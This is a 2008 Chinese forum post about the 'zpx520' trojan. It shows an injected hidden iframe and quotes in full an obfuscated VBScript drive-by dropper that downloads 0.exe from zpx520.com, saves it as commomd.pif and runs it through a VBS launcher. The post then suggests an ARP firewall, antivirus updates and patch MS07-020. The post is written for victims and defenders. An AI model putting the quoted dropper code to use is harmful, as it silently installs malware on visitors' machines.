zpx520木马解决方案及专杀工具下载

admin · 发表于 2008-4-14 01:11:20

zpx520 病毒 
<DIV class=t_msgfont id=message707087>zpx520 病毒 在我的流览器中，打开163.com等很多网站查看网页源码都出现这一行。应该是本地劫持放到浏览器中的。Do you Qihoo?rame src ='http://www. zpx520.com/0 .htm' width=0 height=0 > </i-frame -X> 用卡巴查杀清除不了，最后全盘格式化了上网也是如此，用木马查杀没有发现什么，安全卫士也没发现问题。查看了<A href="http://q.zpx520.com/1.htm" target=_blank>http ://q.zpx520.com/1. htm</A>网站的源码，如下： <SCRIPT language=VBS> '1  xiaohui 's Script '2 update 2007.2.24 '1 ps="Be gin game ^O^" '1 On Error Resume Next '1 https="htt"&"p://"&"w .zpx520.com/0 .exe"                                                                              '1  pso= "ob"&"je"&"ct" '1 Set Pj=document.createElement(pso) '1 Pj.SetAttribute "class"+"id", "  clsid"&":BD96"&"C556"&"-65A3-11D0-98"&"3A-00C04"&"FC29E36" '1 Set PS1=Pj.CreateObject("Mic"&"ros"&  "oft."&"XML"&"HT"&"TP","") '1 PS1.Open "G"&"ET", https, False '1 PS1.Send '1 ExeName="commomd.pif" '1 VbsName="run.vbs" '1 Set PS2=Pj.createobject("Scri"&"p"&"ting.F  "&"i"&"le"&"Sy"&"st"&"e"&"mO"&"bje"&"ct","") '1 Set PS3=PS2.GetSpecialFolder(2) '1 ExeName=PS2.BuildPath(PS3,ExeName) '1 VbsName=PS2.BuildPath(PS3,VbsName) '1 AA="A"&"d" '1 BB="o"&"d"&"b"&"."&"s"&"tre"&"am" '1 DC=AA&BB '1 Set XBOX=Pj.createobject(DC,"") '1 XBOX.type=1 '1 XBOX.Open '1 XBOX.Write PS1.ResponseBody '1 XBOX.Savetofile ExeName,2 '1 XBOX.Close '1 XBOX.Type=2 '1 XBOX.Open '1 XBOX.WriteText "Set ws=CreateObject(""Wscript.Shell"")"&vbCrLf&"ws.Run  ("""&ExeName&""")"&vbCrLf&"Set ws=Nothing" '1 XBOX.Savetofile VbsName,2 '1 XBOX.Close '1 GBA="S"&"h"&"e"&"l"&"l"&"."&"A "&"p"&"p"&"l"&"i" '1 Set Run=Pj.createobject (GBA&"cation","") '2 Run.ShellExecute VbsName  ,"","","Open",0 '3 ps=" The end ^O^"  </SCRIPT> 发现了这行，htt"&"p://"&"w .zpx520 .com/0 .exe</DIV>
<DIV class=t_msgfont> </DIV>
<DIV class=t_msgfont> </DIV>
<DIV class=t_msgfont>zpx520木马解决方案及专杀工具下载</DIV>
<DIV class=t_msgfont> </DIV>
<DIV class=t_msgfont> 首先这个木马我所知道的现在瑞星和卡吧可以查杀，但是杀毒软件是针对你的站点的URL的，不同的URL就会再次跳出警告，这显然很烦。现在说说我的解决方案。   首先去<A href="http://www.antiarp.com/" target=_blank>下载一个ARP防火墙</A>，这个光标病毒的幕后是ARP攻击。在你的网络里有一台机器被挟持作为攻击服务器了，并且伪装为路由IP。通过ARP防火墙可以找到这台机器，并且把这台机器搞定（第一就是拔了他的网线）。然后升级杀毒软件（我用的卡吧）、打上<A href="http://www.microsoft.com/china/technet/security/bulletin/MS07-020.mspx" target=_blank>Window的系统补丁</A>（KB932168）。 </DIV>
<DIV class=t_msgfont><A href="http://www.antiarp.com/" target=_blank>下载一个ARP防火墙</A>下载地址：<A href="http://www.antiarp.com/">http://www.antiarp.com/</A></DIV>
<DIV class=t_msgfont><A href="http://www.microsoft.com/china/technet/security/bulletin/MS07-020.mspx" target=_blank>Window的系统补丁</A>下载地址： <A href="http://www.microsoft.com/china/technet/security/bulletin/MS07-020.mspx">http://www.microsoft.com/china/technet/security/bulletin/MS07-020.mspx</A></DIV>

账号		自动登录	找回密码
密码			注册账户

zpx520木马解决方案及专杀工具下载

相关帖子